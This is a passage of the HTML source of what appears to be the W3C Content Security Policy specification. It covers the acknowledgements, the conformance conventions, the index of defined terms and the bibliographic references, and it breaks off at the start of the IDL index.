group</a>,\n  particularly that working group’s requirements document:\n  <a href=\"https://tools.ietf.org/id/draft-hodges-websec-framework-reqs\">draft-hodges-websec-framework-reqs</a>.</p>\n\n\n    <p>A portion of the <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> directive was\n  originally developed as <code>X-Frame-Options</code>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n\n\n    <p>Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided\n  particularly insightful feedback to keep this specification sane.</p>\n</section>\n\n</main>\n\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n\n    \n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification.\n\n    </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n\n    \n  <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this:\n\n    </p>\n  <div class=\"example\" id=\"example-f839f6c8\"><a class=\"self-link\" href=\"#example-f839f6c8\"></a>\n        \n   <p>This is an example of an informative example.</p>\n   \n    \n  </div>\n\n    \n  <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this:\n\n    </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n\n    \n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n\n    \n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformance-classes\"><span class=\"content\">Conformance Classes</span><a class=\"self-link\" href=\"#conformance-classes\"></a></h3>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-user-agent\">conformant user agent<a class=\"self-link\" href=\"#conformant-user-agent\"></a></dfn> must implement all the requirements\n    listed in this specification that are applicable to user agents.</p>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-server\">conformant server<a class=\"self-link\" href=\"#conformant-server\"></a></dfn> must implement all the requirements listed\n    in this specification that are applicable to servers.</p>\n\n\n\n\n  <h2 class=\"no-num heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-here\"><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#index-defined-here\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a href=\"#allowed-base-urls\">allowed base URLs</a><span>, in §7.1</span>\n   <li><a href=\"#allowed-child-sources\">allowed child sources</a><span>, in §7.2</span>\n   <li><a href=\"#allowed-connection-targets\">allowed connection targets</a><span>, in §7.3</span>\n   <li><a href=\"#allowed-font-sources\">allowed font sources</a><span>, in §7.5</span>\n   <li><a href=\"#allowed-form-actions\">allowed form actions</a><span>, in §7.6</span>\n   <li><a href=\"#allowed-frame-ancestors\">allowed frame ancestors</a><span>, in §7.7</span>\n   <li><a href=\"#allowed-frame-sources\">allowed frame sources</a><span>, in §7.8</span>\n   <li><a href=\"#allowed-image-sources\">allowed image sources</a><span>, in §7.9</span>\n   <li><a href=\"#allowed-media-sources\">allowed media sources</a><span>, in §7.10</span>\n   <li><a href=\"#allowed-object-sources\">allowed object sources</a><span>, in §7.11</span>\n   <li><a href=\"#allowed-plugin-media-types\">allowed plugin media types</a><span>, in §7.12</span>\n   <li><a href=\"#allowed-script-sources\">allowed script sources</a><span>, in §7.15</span>\n   <li><a href=\"#allowed-style-sources\">allowed style sources</a><span>, in §7.16</span>\n   <li><a href=\"#alpha\">ALPHA</a><span>, in §2.4</span>\n   <li><a href=\"#ancestor_source\">ancestor-source</a><span>, in §7.7</span>\n   <li><a href=\"#ancestor_source_list\">ancestor-source-list</a><span>, in §7.7</span>\n   <li><a href=\"#base64_value\">base64-value</a><span>, in §4.2</span>\n   <li><a href=\"#base_uri\">base-uri</a><span>, in §7.1</span>\n   <li>blockedURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-blockeduri\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-blockeduri\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#callable\">callable</a><span>, in §2.3</span>\n   <li><a href=\"#callers\">callers</a><span>, in §2.3</span>\n   <li><a href=\"#child_src\">child-src</a><span>, in §7.2</span>\n   <li>columnNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-columnnumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-columnnumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#conformant-server\">conformant server</a><span>, in §Unnumbered section</span>\n   <li><a href=\"#conformant-user-agent\">conformant user agent</a><span>, in §Unnumbered section</span>\n   <li><a href=\"#connect_src\">connect-src</a><span>, in §7.3</span>\n   <li><a href=\"#content_security_policy\">Content-Security-Policy</a><span>, in §3.1</span>\n   <li><a href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a><span>, in §3.2</span>\n   <li><a href=\"#content-security-policy-task-source\">Content Security Policy task\n          source</a><span>, in §4.4</span>\n   <li><a href=\"#default-sources\">default sources</a><span>, in §7.4</span>\n   <li><a href=\"#default_src\">default-src</a><span>, in §7.4</span>\n   <li><a href=\"#digest-of-elements-content\">digest of element’s content</a><span>, in §4.2.5</span>\n   <li><a href=\"#digit\">DIGIT</a><span>, in §2.4</span>\n   <li><a href=\"#security-policy-directive\">directive</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive-name\">directive name</a><span>, in §2.1</span>\n   <li><a href=\"#directive_name\">directive-name</a><span>, in §4.1</span>\n   <li><a href=\"#directive_token\">directive-token</a><span>, in §4.1</span>\n   <li><a href=\"#directive_value\">directive-value</a><span>, in §4.1</span>\n   <li><a href=\"#security-policy-directive-value\">directive value</a><span>, in §2.1</span>\n   <li>documentURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-documenturi\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-documenturi\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li>effectiveDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-effectivedirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#elements-content\">element’s content</a><span>, in §4.2.5</span>\n   <li><a href=\"#enforce\">enforce</a><span>, in §5</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict</a><span>, in §6.1</span>\n   <li><a href=\"#fire-a-violation-event\">fire a violation event</a><span>, in §6.3</span>\n   <li><a href=\"#font_src\">font-src</a><span>, in §7.5</span>\n   <li><a href=\"#form_action\">form-action</a><span>, in §7.6</span>\n   <li><a href=\"#frame_ancestors\">frame-ancestors</a><span>, in §7.7</span>\n   <li><a href=\"#frame_src\">frame-src</a><span>, in §7.8</span>\n   <li><a href=\"#generate-a-violation-report-object\">generate a violation report object</a><span>, in §4.4</span>\n   <li><a href=\"#generate-a-violation-report-object\">generating a violation report object</a><span>, in §4.4</span>\n   <li><a href=\"#globally-unique-identifier\">globally unique identifier</a><span>, in §2.2</span>\n   <li><a href=\"#hash_algo\">hash-algo</a><span>, in §4.2</span>\n   <li><a href=\"#hash_source\">hash-source</a><span>, in §4.2</span>\n   <li><a href=\"#hash_value\">hash-value</a><span>, in §4.2</span>\n   <li><a href=\"#host_char\">host-char</a><span>, in §4.2</span>\n   <li><a href=\"#host_part\">host-part</a><span>, in §4.2</span>\n   <li><a href=\"#host_source\">host-source</a><span>, in §4.2</span>\n   <li><a href=\"#http-200-response\">HTTP 200 response</a><span>, in §2.2</span>\n   <li><a href=\"#img_src\">img-src</a><span>, in §7.9</span>\n   <li><a href=\"#json-object\">JSON object</a><span>, in §2.2</span>\n   <li><a href=\"#json-stringification\">JSON stringification</a><span>, in §2.2</span>\n   <li><a href=\"#keyword_source\">keyword-source</a><span>, in §4.2</span>\n   <li>lineNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-linenumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-linenumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#match-a-media-type-list\">match a media type list</a><span>, in §4.3.2</span>\n   <li><a href=\"#match-a-source-expression\">match a source expression</a><span>, in §4.2.2</span>\n   <li><a href=\"#match-a-source-list\">match a source list</a><span>, in §4.2.2</span>\n   <li><a href=\"#media_src\">media-src</a><span>, in §7.10</span>\n   <li><a href=\"#media-type\">media type</a><span>, in §4.3</span>\n   <li><a href=\"#media_type\">media-type</a><span>, in §4.3</span>\n   <li><a href=\"#media-type-list\">media type list</a><span>, in §4.3</span>\n   <li><a href=\"#media_type_list\">media-type-list</a><span>, in §4.3</span>\n   <li><a href=\"#monitor\">monitor</a><span>, in §5</span>\n   <li>nonce\n    <ul>\n     <li><a href=\"#dom-htmlscriptelement-nonce\">attribute for HTMLScriptElement</a><span>, in §4.2.3</span>\n     <li><a href=\"#element-attrdef-script-nonce\">element-attr for script</a><span>, in §4.2.3</span>\n     <li><a href=\"#dom-htmlstyleelement-nonce\">attribute for HTMLStyleElement</a><span>, in §4.2.3</span>\n     <li><a href=\"#element-attrdef-style-nonce\">element-attr for style</a><span>, in §4.2.3</span>\n    </ul>\n   <li><a href=\"#nonce_source\">nonce-source</a><span>, in §4.2</span>\n   <li><a href=\"#nonce_value\">nonce-value</a><span>, in §4.2</span>\n   <li><a href=\"#object_src\">object-src</a><span>, in §7.11</span>\n   <li><a href=\"#origin\">origin</a><span>, in §2.2</span>\n   <li>originalPolicy\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-originalpolicy\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#parse-a-media-type-list\">parse a media type list</a><span>, in §4.3.1</span>\n   <li><a href=\"#parse-a-source-list\">parse a source list</a><span>, in §4.2.1</span>\n   <li><a href=\"#parse-the-policy\">parse the policy</a><span>, in §4.1.1</span>\n   <li><a href=\"#path_part\">path-part</a><span>, in §4.2</span>\n   <li><a href=\"#plugin_types\">plugin-types</a><span>, in §7.12</span>\n   <li><a href=\"#security-policy\">policy</a><span>, in §2.1</span>\n   <li><a href=\"#policy_token\">policy-token</a><span>, in §4.1</span>\n   <li><a href=\"#port_part\">port-part</a><span>, in §4.2</span>\n   <li><a href=\"#protected-resource\">protected resource</a><span>, in §2.1</span>\n   <li>referrer\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-referrer\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-referrer\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#report-a-violation\">report a violation</a><span>, in §4.4</span>\n   <li><a href=\"#report_uri\">report-uri</a><span>, in §7.13</span>\n   <li><a href=\"#resource-representation\">representation</a><span>, in §2.2</span>\n   <li><a href=\"#resource-representation\">resource representation</a><span>, in §2.2</span>\n   <li><a href=\"#runs-a-worker\">runs a worker</a><span>, in §2.3</span>\n   <li><a href=\"#sandbox\">sandbox</a><span>, in §7.14</span>\n   <li><a href=\"#sandbox_token\">sandbox-token</a><span>, in §7.14</span>\n   <li><a href=\"#scheme_part\">scheme-part</a><span>, in §4.2</span>\n   <li><a href=\"#scheme_source\">scheme-source</a><span>, in §4.2</span>\n   <li><a href=\"#script_src\">script-src</a><span>, in §7.15</span>\n   <li><a href=\"#security-policy\">security policy</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive\">security policy directive</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive-name\">security policy directive name</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive-value\">security policy directive value</a><span>, in §2.1</span>\n   <li><a href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n   <li><a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">SecurityPolicyViolationEvent(type, eventInitDict)</a><span>, in §6.1</span>\n   <li><a href=\"#send-violation-reports\">send violation reports</a><span>, in §4.4</span>\n   <li><a href=\"#set-of-report-urls\">set of report URLs</a><span>, in §7.13</span>\n   <li><a href=\"#sha_256\">SHA-256</a><span>, in §2.2</span>\n   <li><a href=\"#sha_384\">SHA-384</a><span>, in §2.2</span>\n   <li><a href=\"#sha_512\">SHA-512</a><span>, in §2.2</span>\n   <li><a href=\"#source_expression\">source-expression</a><span>, in §4.2</span>\n   <li><a href=\"#source-expression\">source expression</a><span>, in §4.2</span>\n   <li><a href=\"#source_file\">source-file</a><span>, in §4.4</span>\n   <li>sourceFile\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-sourcefile\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-sourcefile\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#source_list\">source-list</a><span>, in §4.2</span>\n   <li><a href=\"#source-list\">source\n    list</a><span>, in §4.2</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a><span>, in §6.1</span>\n   <li><a href=\"#strip-uri-for-reporting\">stripped for reporting</a><span>, in §4.4</span>\n   <li><a href=\"#strip-uri-for-reporting\">strip uri for reporting</a><span>, in §4.4</span>\n   <li><a href=\"#style_src\">style-src</a><span>, in §7.16</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type</a><span>, in §6.1</span>\n   <li><a href=\"#uri_reference\">uri-reference</a><span>, in §7.13</span>\n   <li><a href=\"#url\">URL</a><span>, in §2.2</span>\n   <li><a href=\"#valid-hash\">valid hash</a><span>, in §4.2.5</span>\n   <li><a href=\"#valid-nonce\">valid nonce</a><span>, in §4.2.4</span>\n   <li><a href=\"#vchar\">VCHAR</a><span>, in §2.4</span>\n   <li>violatedDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-violateddirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-violateddirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#wsp\">WSP</a><span>, in §2.4</span></ul>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-elsewhere\"><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#index-defined-elsewhere\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a data-link-type=\"biblio\" href=\"#biblio-css-images-3\">[css-images-3]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://drafts.csswg.org/css-images-3/#funcdef-image-set\">image-set()</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-css-images-4\">[css-images-4]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://drafts.csswg.org/css-images-4/#funcdef-image\">image()</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-webidl\">[WebIDL]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>\n    </ul></ul>\n  <h2 class=\"no-num heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-abnf\"><a class=\"self-link\" href=\"#biblio-abnf\"></a>[ABNF]\n   <dd>Dave Crocker; Paul Overell. <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">Augmented BNF for Syntax Specifications: ABNF</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">http://www.ietf.org/rfc/rfc5234.txt</a>\n   <dt id=\"biblio-beacon\"><a class=\"self-link\" href=\"#biblio-beacon\"></a>[BEACON]\n   <dd>Jatinder Mann; Alois Reitbauer. <a href=\"https://www.w3.org/TR/beacon/\">Beacon</a>. WD. URL: <a href=\"https://www.w3.org/TR/beacon/\">https://www.w3.org/TR/beacon/</a>\n   <dt id=\"biblio-ecma-262\"><a class=\"self-link\" href=\"#biblio-ecma-262\"></a>[ECMA-262]\n   <dd>Allen Wirfs-Brock. <a href=\"http://www.ecma-international.org/ecma-262/6.0/\">ECMA-262 6th Edition, The ECMAScript 2015 Language Specification</a>. June 2015. Standard. URL: <a href=\"http://www.ecma-international.org/ecma-262/6.0/\">http://www.ecma-international.org/ecma-262/6.0/</a>\n   <dt id=\"biblio-fips180\"><a class=\"self-link\" href=\"#biblio-fips180\"></a>[FIPS180]\n   <dd><a href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf\">Secure Hash Standard</a>. URL: <a href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf\">http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf</a>\n   <dt id=\"biblio-html-imports\"><a class=\"self-link\" href=\"#biblio-html-imports\"></a>[HTML-IMPORTS]\n   <dd>Dmitri Glazkov; Hajime Morrita. <a href=\"https://www.w3.org/TR/html-imports/\">HTML Imports</a>. WD. URL: <a href=\"https://www.w3.org/TR/html-imports/\">https://www.w3.org/TR/html-imports/</a>\n   <dt id=\"biblio-html5\"><a class=\"self-link\" href=\"#biblio-html5\"></a>[HTML5]\n   <dd>Ian Hickson; et al. <a href=\"https://www.w3.org/TR/html5/\">HTML5</a>. REC. URL: <a href=\"https://www.w3.org/TR/html5/\">https://www.w3.org/TR/html5/</a>\n   <dt id=\"biblio-rfc3492\"><a class=\"self-link\" href=\"#biblio-rfc3492\"></a>[RFC3492]\n   <dd>Adam M. Costello. <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. REC. URL: <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">http://www.ietf.org/rfc/rfc3492.txt</a>\n   <dt id=\"biblio-rfc3864\"><a class=\"self-link\" href=\"#biblio-rfc3864\"></a>[RFC3864]\n   <dd>Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">Registration Procedures for Message Header Fields</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">http://www.ietf.org/rfc/rfc3864.txt</a>\n   <dt id=\"biblio-rfc4627\"><a class=\"self-link\" href=\"#biblio-rfc4627\"></a>[RFC4627]\n   <dd>Douglas Crockford. <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">The 'application/json' Media Type for JavaScript Object Notation (JSON)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">http://www.ietf.org/rfc/rfc4627.txt</a>\n   <dt id=\"biblio-rfc6454\"><a class=\"self-link\" href=\"#biblio-rfc6454\"></a>[RFC6454]\n   <dd>Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">The Web Origin Concept</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">http://www.ietf.org/rfc/rfc6454.txt</a>\n   <dt id=\"biblio-rfc7034\"><a class=\"self-link\" href=\"#biblio-rfc7034\"></a>[RFC7034]\n   <dd>David Ross; Tobias Gondrom. <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">HTTP Header Field X-Frame-Options</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">http://www.ietf.org/rfc/rfc7034.txt</a>\n   <dt id=\"biblio-rfc7230\"><a class=\"self-link\" href=\"#biblio-rfc7230\"></a>[RFC7230]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">HTTP/1.1 Message Syntax and Routing</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">http://www.ietf.org/rfc/rfc7230.txt</a>\n   <dt id=\"biblio-rfc7231\"><a class=\"self-link\" href=\"#biblio-rfc7231\"></a>[RFC7231]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">HTTP/1.1 Semantics and Content</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">http://www.ietf.org/rfc/rfc7231.txt</a>\n   <dt id=\"biblio-url\"><a class=\"self-link\" href=\"#biblio-url\"></a>[URL]\n   <dd>Anne van Kesteren. <a href=\"https://url.spec.whatwg.org/\">URL Standard</a>. Living Standard. URL: <a href=\"https://url.spec.whatwg.org/\">https://url.spec.whatwg.org/</a><br>Note: URLs can be used in numerous different manners, in many differing contexts. For the purpose of producing strict URLs one may wish to consider [<a href=\"https://tools.ietf.org/html/rfc3986\">RFC3986</a>] [<a href=\"https://tools.ietf.org/html/rfc3987\">RFC3987</a>].\n     <div class=\"note\">\n       <p>URLs can be used in numerous different manners, in many\n       differing contexts. For the purpose of producing strict URLs one may\n       wish to consider [RFC3986] [RFC3987].</p>\n\n       <p>As a word of caution, there are notable differences in the manner in\n       which Web browsers and other software stacks outside the HTML context\n       handle URLs. While no changes would be accepted to URL processing that\n       would break existing Web content, some important parts of URL processing\n       should therefore be considered as implementation-defined (e.g. parsing\n       file: URLs or operating on URLs that would be syntax errors under the\n       [RFC3986] [RFC3987] syntax).</p>\n     </div>\n   <dt id=\"biblio-webidl\"><a class=\"self-link\" href=\"#biblio-webidl\"></a>[WebIDL]\n   <dd>Cameron McCormack. <a href=\"https://www.w3.org/TR/WebIDL-1/\">Web IDL Level 1</a>. 08 March 2016. CR. URL: <a href=\"https://www.w3.org/TR/WebIDL-1/\">https://www.w3.org/TR/WebIDL-1/</a>\n   <dt id=\"biblio-xmlhttprequest\"><a class=\"self-link\" href=\"#biblio-xmlhttprequest\"></a>[XMLHttpRequest]\n   <dd>Anne van Kesteren; et al. <a href=\"https://www.w3.org/TR/XMLHttpRequest/\">XMLHttpRequest Level 1</a>. 30 January 2014. WD. URL: <a href=\"https://www.w3.org/TR/XMLHttpRequest/\">https://www.w3.org/TR/XMLHttpRequest/</a>\n   <dt id=\"biblio-css-images-3\"><a class=\"self-link\" href=\"#biblio-css-images-3\"></a>[CSS-IMAGES-3]\n   <dd>CSS Image Values and Replaced Content Module Level 3 URL: <a href=\"https://www.w3.org/TR/css3-images/\">https://www.w3.org/TR/css3-images/</a>\n   <dt id=\"biblio-css-images-4\"><a class=\"self-link\" href=\"#biblio-css-images-4\"></a>[CSS-IMAGES-4]\n   <dd>CSS Image Values and Replaced Content Module Level 4 URL: <a href=\"https://www.w3.org/TR/css4-images/\">https://www.w3.org/TR/css4-images/</a>\n   <dt id=\"biblio-css3-fonts\"><a class=\"self-link\" href=\"#biblio-css3-fonts\"></a>[CSS3-FONTS]\n   <dd>John Daggett. <a href=\"https://www.w3.org/TR/css-fonts-3/\">CSS Fonts Module Level 3</a>. 3 October 2013. CR. URL: <a href=\"https://www.w3.org/TR/css-fonts-3/\">https://www.w3.org/TR/css-fonts-3/</a>\n   <dt id=\"biblio-css4-images\"><a class=\"self-link\" href=\"#biblio-css4-images\"></a>[CSS4-IMAGES]\n   <dd>Elika Etemad; Tab Atkins Jr.. <a href=\"https://www.w3.org/TR/css4-images/\">CSS Image Values and Replaced Content Module Level 4</a>. 11 September 2012. WD. URL: <a href=\"https://www.w3.org/TR/css4-images/\">https://www.w3.org/TR/css4-images/</a>\n   <dt id=\"biblio-cssom\"><a class=\"self-link\" href=\"#biblio-cssom\"></a>[CSSOM]\n   <dd>Simon Pieters; Glenn Adams. <a href=\"https://www.w3.org/TR/cssom/\">CSS Object Model (CSSOM)</a>. 5 December 2013. WD. URL: <a href=\"https://www.w3.org/TR/cssom/\">https://www.w3.org/TR/cssom/</a>\n   <dt id=\"biblio-eventsource\"><a class=\"self-link\" href=\"#biblio-eventsource\"></a>[EVENTSOURCE]\n   <dd>Ian Hickson. <a href=\"https://www.w3.org/TR/eventsource/\">Server-Sent Events</a>. 3 February 2015. REC. URL: <a href=\"https://www.w3.org/TR/eventsource/\">https://www.w3.org/TR/eventsource/</a>\n   <dt id=\"biblio-rfc2119\"><a class=\"self-link\" href=\"#biblio-rfc2119\"></a>[RFC2119]\n   <dd>S. Bradner. <a href=\"https://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc2119\">https://tools.ietf.org/html/rfc2119</a>\n   <dt id=\"biblio-rfc3986\"><a class=\"self-link\" href=\"#biblio-rfc3986\"></a>[RFC3986]\n   <dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=\"https://tools.ietf.org/html/rfc3986\">Uniform Resource Identifier (URI): Generic Syntax</a>. January 2005. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc3986\">https://tools.ietf.org/html/rfc3986</a>\n   <dt id=\"biblio-rfc5988\"><a class=\"self-link\" href=\"#biblio-rfc5988\"></a>[RFC5988]\n   <dd>M. Nottingham. <a href=\"https://tools.ietf.org/html/rfc5988\">Web Linking</a>. October 2010. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc5988\">https://tools.ietf.org/html/rfc5988</a>\n   <dt id=\"biblio-websockets\"><a class=\"self-link\" href=\"#biblio-websockets\"></a>[WEBSOCKETS]\n   <dd>Ian Hickson. <a href=\"https://www.w3.org/TR/websockets/\">The WebSocket API</a>. 20 September 2012. CR. URL: <a href=\"https://www.w3.org/TR/websockets/\">https://www.w3.org/TR/websockets/</a>\n   <dt id=\"biblio-workers\"><a class=\"self-link\" href=\"#biblio-workers\"></a>[WORKERS]\n   <dd>Ian Hickson. <a href=\"https://www.w3.org/TR/workers/\">Web Workers</a>. 1 May 2012. CR. URL: <a href=\"https://www.w3.org/TR/workers/\">https://www.w3.org/TR/workers/</a>\n   <dt id=\"biblio-xml11\"><a class=\"self-link\" href=\"#biblio-xml11\"></a>[XML11]\n   <dd>Tim Bray; et al. <a href=\"https://www.w3.org/TR/xml11/\">Extensible Markup Language (XML) 1.1 (Second Edition)</a>. 16 August 2006. REC. URL: <a href=\"https://www.w3.org/TR/xml11/\">https://www.w3.org/TR/xml11/</a>\n   <dt id=\"biblio-xslt\"><a class=\"self-link\" href=\"#biblio-xslt\"></a>[XSLT]\n   <dd>James Clark. <a href=\"https://www.w3.org/TR/xslt\">XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. REC. URL: <a href=\"https://www.w3.org/TR/xslt\">https://www.w3.org/TR/xslt</a></dl>\n  <h3 class=\"no-num heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-rfc6797\"><a class=\"self-link\" href=\"#biblio-rfc6797\"></a>[RFC6797]\n   <dd>Jeff Hodges; Collin Jackson; Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">HTTP Strict Transport Security (HSTS)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">http://www.ietf.org/rfc/rfc6797.txt</a>\n   <dt id=\"biblio-uiredress\"><a class=\"self-link\" href=\"#biblio-uiredress\"></a>[UIREDRESS]\n   <dd>Giorgio Maone; et al. <a href=\"https://www.w3.org/TR/UISecurity/\">User Interface Security Directives for Content Security Policy</a>. WD. URL: <a href=\"https://www.w3.org/TR/UISecurity/\">https://www.w3.org/TR/UISecurity/</a></dl>\n  <h2 class=\"no-num heading settled\" id=\"idl-index\"><span class=\"content\">IDL Index</span><a class=\"self-link\" href=\"#idl-index\"></a></h2>\n  <pre class=\"idl\">partial interface <a 